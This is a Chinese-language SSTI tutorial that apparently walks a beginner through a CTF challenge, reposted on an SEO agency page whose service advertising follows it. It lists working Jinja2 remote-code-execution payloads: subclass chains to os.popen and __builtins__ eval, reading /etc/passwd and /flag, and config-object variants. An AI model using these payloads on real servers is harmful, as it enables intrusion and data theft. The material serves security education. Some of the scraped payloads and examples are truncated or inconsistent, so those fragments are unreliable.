SEO技术

SEO技术

Products

当前位置:首页 > SEO技术 >

如何从零开始学习SSTI模板注入?

96SEO 2026-02-20 09:06 15


前言:这个模块网上的wp其实对第一次接触模板注入的人来说其实不是那么友好,如果直接找wp来看的话大概率就是两眼黑,容易被劝退,我自己也是这样的,更多的是需要我们自己去找别的资料先了解模板注入这一块内容,有一定基础后才能去做相关题目。

如何从零开始学习SSTI模板注入?

我想的是能不能将其整合起来,通过一道具体的题目,从0入门SSTI,因此便有了这篇文章。

【同样的,魔术方法也是要多打才能熟悉,因此这里不提供可以复制的payload】

一:模板注入相关

1.什么是模板注入

SSTI(服务器端模板注入,Server-Side

Template

Injection)是一种高危的Web安全漏洞。

简单来说,攻击者可以通过向模板中注入恶意代码,让服务器端的模板引擎执行它,从而实现对服务器的控制。

更直观的话可以打个比方:

  • 正常情况:你给了一个“填空”的卡片(比如:你好,{{name}}),服务器把你的名字(比如“张三”)填进去,然后生成一句完整的话(“你好,张三”)还给你。

  • SSTI情况:攻击者不填名字,而是在这个空里填了一段“魔法指令”(比如{{7*7}})。

    如果服务器没检查就直接执行,它会把{{7*8}}当成指令来计算,结果返回给你“你好,56”。

    如果攻击者能执行更复杂的指令(如读取密码文件、执行系统命令),服务器就会被攻陷。

2.常见模板

语言常见模板引擎核心SSTI风险点
PythonJinja2,

Mako,

Tornado

通过对象继承链寻找os.system
PHPTwig,

Smarty,

Blade

调用内置函数或利用$this上下文
JavaFreemarker,

Velocity,

Thymeleaf

利用new()构造执行器或SpEL注入
JavaScriptPug,

Nunjucks,

EJS

获取process对象执行系统命令
RubyERB,

Slim

直接执行原生Ruby代码
Gohtml/template敏感信息泄露

>

RCE

(更加具体的内容请自行查阅相关资料)

3.常用魔术方法

1)获取信息阶段

这些魔术方法用于从当前对象"向上"或"横向"探索,获取更多的类、模块信息。

  1. __class__

    • 作用:返回当前实例所属的

    • 利用场景:一切的起点。

    • 示例:你有一个字符串"hello",调用"hello".__class__就会得到<class

      'str'>

    • Payload片段{{

      ''.__class__

      }}

  2. __bases__/__base__

    • 作用:访问当前类的父类(基类)

      __bases__返回一个包含所有父类的元组,__base__通常返回直接父类。

    • 利用场景:从子类向上走到父类,因为父类通常包含更多通用的东西。

    • Payload片段{{

      }}

  3. __mro__(Method

    Resolution

    Order)

    • 作用:显示类的方法解析顺序

      它会以一个元组的形式,列出当前类继承链上的所有类(包括自己、父类、祖先类,一直到object)。

    • 利用场景:这是最重要的跳板之一。

      通过__mro__可以拿到最终的基类——object

      因为Python中所有的类都继承自object,控制了object就意味着理论上可以访问所有类。

    • Payload片段{{

      }}

    • 期望结果(<class

      'str'>,

      'object'>)

      这样我们就拿到了object

  4. __subclasses__()

    • 作用这是SSTI漏洞利用中最关键的一步

      它属于类方法,用于返回该类的所有直接或间接子类

    • 利用场景:当我们通过__mro__拿到object后,调用object.__subclasses__(),就能得到当前Python解释器加载的所有类的列表。

    • 为什么重要:在这个庞大的列表中,包含了我们需要的一切:文件读写类、进程调用类、系统命令执行类等等。

    • Payload片段{{

      ''.__class__.__mro__[1].__subclasses__()

      }}

    • 解读''.__class__str.__mro__[1]object,然后获取object的所有子类。

style="background-color:transparent">2)寻找危险功能

得到所有子类的列表后,我们需要在这个列表里搜索可以执行系统命令或读写文件的方法。

  1. __import__

    • 作用:这是Python的内建函数,用于动态导入模块

    • 利用场景:如果我们能在某个类或对象上找到__import__,就可以导入os模块,进而调用os.system()执行命令。

    • 注意__import__通常作为内建函数存在于__builtins__模块中,或者在warnings.catch_warnings等类的__init__方法中被引用。

  2. __globals__

    • 作用这是SSTI利用中另一个至关重要的属性

      它返回当前函数所在全局作用域下的一个字典,包含了该函数可以访问的所有全局变量、函数和模块。

    • 利用场景:当我们从__subclasses__()列表中找到某个特定的类(如<class'warnings.catch_warnings'>后,我们通常先访问它的__init__方法,然后通过__globals__获取其全局命名空间。

      在这个命名空间里,往往能找到已经被导入的os模块,或者__builtins__(内置函数集合)。

    • 典型利用链

      />object.__subclasses__()[索引].__init__.__globals__['__builtins__']

style="background-color:transparent">3)执行攻击

通过上述方法拿到__builtins__os模块后,就可以调用真正的危险函数。

  1. __builtins__

    • 作用:这不是一个方法,而是一个字典或模块,包含了Python的所有内建函数,例如evalexecopen__import__等。

    • 利用场景:一旦拿到__builtins__,攻击者可以直接调用:

      • eval('__import__("os").system("whoami")')

      • open('/etc/passwd').read()

      • __import__('os').popen('whoami').read()

  2. eval/exec

    • 作用:将字符串作为Python代码执行。

    • 利用场景:终极武器。

      当攻击者无法直接找到os模块时,如果能找到eval,就可以通过它动态导入任何模块。

那么综合起来,我们来看一个具体的payload:

#

原始Payload

''.__class__.__mro__[1].__subclasses__()[177].__init__.__globals__['__builtins__'].eval('__import__("os").popen("whoami").read()')

逐步拆解:

'warnings.catch_warnings'>)

.__init__

__import__("os").popen("whoami").read()

->

实际执行的Python代码

4.判断模板

这里就要提到一个非常经典的图了:

/>

绿色箭头是执行成功,红色箭头是执行失败。

/>首先是注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。

成功回显出的情况,这种时候是执行成功走绿线,再次注入,如果执行成功回显,就说明是模板;如果没有回显出,就是执行失败走红线,注入{"z".join("ab")},如果执行成功回显出zab就说明是Mako模板。

/>二:具体题目

提示说名字就是考点,可以尝试get传参name,先按照上面图片给的方法进行一次判断,得到如下结果,可以确定为jinja2模板:

/>

那么接下来,就按照我们前面的方法依次尝试,首先是返回类:

/>

然后就是要返回基类,这里直接base一下就可以了:

/>

获得obj所有的子类:

/>

然后就是选择我们可以利用的类,一般选取的是os._wrap_close【因为os._wrap_close存在于object.__subclasses__()列表中,并且它的__init__.__globals__直接包含了整个os模块,os模块是Python标准库中的一个核心模块,全称是"Operating

System

interface"(操作系统接口)。

它提供了与操作系统交互的函数,让我们可以用Python代码执行各种系统级操作】但是我们要找这个类的位置看起来好像很麻烦,这么多一个个看过去怎么行?因此这里可以采用python脚本或者我们手工查找,这里还是介绍手工查找的方法:

我们先将这里所有的类都复制下来到notepad中,然后将,替换为\n【换行符】这样就看起来清晰了:

/>

后面我们再查找一下:

/>

然后验证一下是不是我们要选择的(不知道为啥我notepad显示是133)

/>

访问该类的初始化方法以及获得该方法的全局作用域字典:

/>

这里可以直接popen来read一下:

/>

最后得到我们的flag:

/>

三:其他方法

当然这里还有很多方法来做,这里是一种通用性较强的:

/>

这里我们利用的builtin的内置函数来当作跳板,在我们无法直接拿到os模块时起到了一个非常好的承接作用:builtins里面的这些函数可以帮我们执行命令:

__builtins__

=

}

利用链图解如下:

#

{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('tac

逐步拆解:

找到第132个子类(比如warnings.catch_warnings)

.__init__

("__import__('os').popen('tac

要执行的代码字符串

当然还有相应的变种:

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__'].__import__('os').popen('tac

/flag').read()}}

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__'].open('/flag').read()}}

然后这里需要注意的点是:

只要一个类满足以下条件,就能通过__builtins__执行命令:

  1. 它有__init__方法

  2. __init__方法有__globals__属性

  3. __globals__中包含__builtins__

常见的有以下几种:

1.warnings.catch_warnings(最经典)

#

130-140

{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

2.warnings.WarningMessage

#

{{[].__class__.__base__.__subclasses__()[184].__init__.__globals__['__builtins__'].open('/flag').read()}}

3.codecs.IncrementalEncoder

{{[].__class__.__base__.__subclasses__()[107].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls

/').read()")}}

当然了还可以从config对象【Flask框架中的全局配置对象,用来存储应用程序的所有配置信息。

可以把它想象成应用程序的"控制面板"或"设置中心"】出发,具体就不多赘述了:

#

查看config对象,如果返回配置信息,说明config对象可用

?name={{

'flask.config.Config'>

?name={{

查看__init__的__globals__所有键,如果看到

'os',恭喜!可以直接用

?name={{

config.__class__.__init__.__globals__.keys()

如果有os,直接执行

config.__class__.__init__.__globals__['os'].popen('ls

/').read()

config.__class__.__init__.__globals__['os'].popen('cat

/flag').read()

config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('cat

/flag').read()

}}

总之,方法很多,选取最合适的自己最好理解的即可。

四:参考

SSTI漏洞浅析(常见模板注入、waf绕过)

超详细SSTI模板注入漏洞原理讲解

/>Ctfshow

SSTI模板注入【宝藏up,入门强推】



SEO优化服务概述

作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。

百度官方合作伙伴 白帽SEO技术 数据驱动优化 效果长期稳定

SEO优化核心服务

网站技术SEO

  • 网站结构优化 - 提升网站爬虫可访问性
  • 页面速度优化 - 缩短加载时间,提高用户体验
  • 移动端适配 - 确保移动设备友好性
  • HTTPS安全协议 - 提升网站安全性与信任度
  • 结构化数据标记 - 增强搜索结果显示效果

内容优化服务

  • 关键词研究与布局 - 精准定位目标关键词
  • 高质量内容创作 - 原创、专业、有价值的内容
  • Meta标签优化 - 提升点击率和相关性
  • 内容更新策略 - 保持网站内容新鲜度
  • 多媒体内容优化 - 图片、视频SEO优化

外链建设策略

  • 高质量外链获取 - 权威网站链接建设
  • 品牌提及监控 - 追踪品牌在线曝光
  • 行业目录提交 - 提升网站基础权威
  • 社交媒体整合 - 增强内容传播力
  • 链接质量分析 - 避免低质量链接风险

SEO服务方案对比

服务项目 基础套餐 标准套餐 高级定制
关键词优化数量 10-20个核心词 30-50个核心词+长尾词 80-150个全方位覆盖
内容优化 基础页面优化 全站内容优化+每月5篇原创 个性化内容策略+每月15篇原创
技术SEO 基本技术检查 全面技术优化+移动适配 深度技术重构+性能优化
外链建设 每月5-10条 每月20-30条高质量外链 每月50+条多渠道外链
数据报告 月度基础报告 双周详细报告+分析 每周深度报告+策略调整
效果保障 3-6个月见效 2-4个月见效 1-3个月快速见效

SEO优化实施流程

我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:

1

网站诊断分析

全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。

2

关键词策略制定

基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。

3

技术优化实施

解决网站技术问题,优化网站结构,提升页面速度和移动端体验。

4

内容优化建设

创作高质量原创内容,优化现有页面,建立内容更新机制。

5

外链建设推广

获取高质量外部链接,建立品牌在线影响力,提升网站权威度。

6

数据监控调整

持续监控排名、流量和转化数据,根据效果调整优化策略。

SEO优化常见问题

SEO优化一般需要多长时间才能看到效果?
SEO是一个渐进的过程,通常需要3-6个月才能看到明显效果。具体时间取决于网站现状、竞争程度和优化强度。我们的标准套餐一般在2-4个月内开始显现效果,高级定制方案可能在1-3个月内就能看到初步成果。
你们使用白帽SEO技术还是黑帽技术?
我们始终坚持使用白帽SEO技术,遵循搜索引擎的官方指南。我们的优化策略注重长期效果和可持续性,绝不使用任何可能导致网站被惩罚的违规手段。作为百度官方合作伙伴,我们承诺提供安全、合规的SEO服务。
SEO优化后效果能持续多久?
通过我们的白帽SEO策略获得的排名和流量具有长期稳定性。一旦网站达到理想排名,只需适当的维护和更新,效果可以持续数年。我们提供优化后维护服务,确保您的网站长期保持竞争优势。
你们提供SEO优化效果保障吗?
我们提供基于数据的SEO效果承诺。根据服务套餐不同,我们承诺在约定时间内将核心关键词优化到指定排名位置,或实现约定的自然流量增长目标。所有承诺都会在服务合同中明确约定,并提供详细的KPI衡量标准。

SEO优化效果数据

基于我们服务的客户数据统计,平均优化效果如下:

+85%
自然搜索流量提升
+120%
关键词排名数量
+60%
网站转化率提升
3-6月
平均见效周期

行业案例 - 制造业

  • 优化前:日均自然流量120,核心词无排名
  • 优化6个月后:日均自然流量950,15个核心词首页排名
  • 效果提升:流量增长692%,询盘量增加320%

行业案例 - 电商

  • 优化前:月均自然订单50单,转化率1.2%
  • 优化4个月后:月均自然订单210单,转化率2.8%
  • 效果提升:订单增长320%,转化率提升133%

行业案例 - 教育

  • 优化前:月均咨询量35个,主要依赖付费广告
  • 优化5个月后:月均咨询量180个,自然流量占比65%
  • 效果提升:咨询量增长414%,营销成本降低57%

为什么选择我们的SEO服务

专业团队

  • 10年以上SEO经验专家带队
  • 百度、Google认证工程师
  • 内容创作、技术开发、数据分析多领域团队
  • 持续培训保持技术领先

数据驱动

  • 自主研发SEO分析工具
  • 实时排名监控系统
  • 竞争对手深度分析
  • 效果可视化报告

透明合作

  • 清晰的服务内容和价格
  • 定期进展汇报和沟通
  • 效果数据实时可查
  • 灵活的合同条款

我们的SEO服务理念

我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。

提交需求或反馈

Demand feedback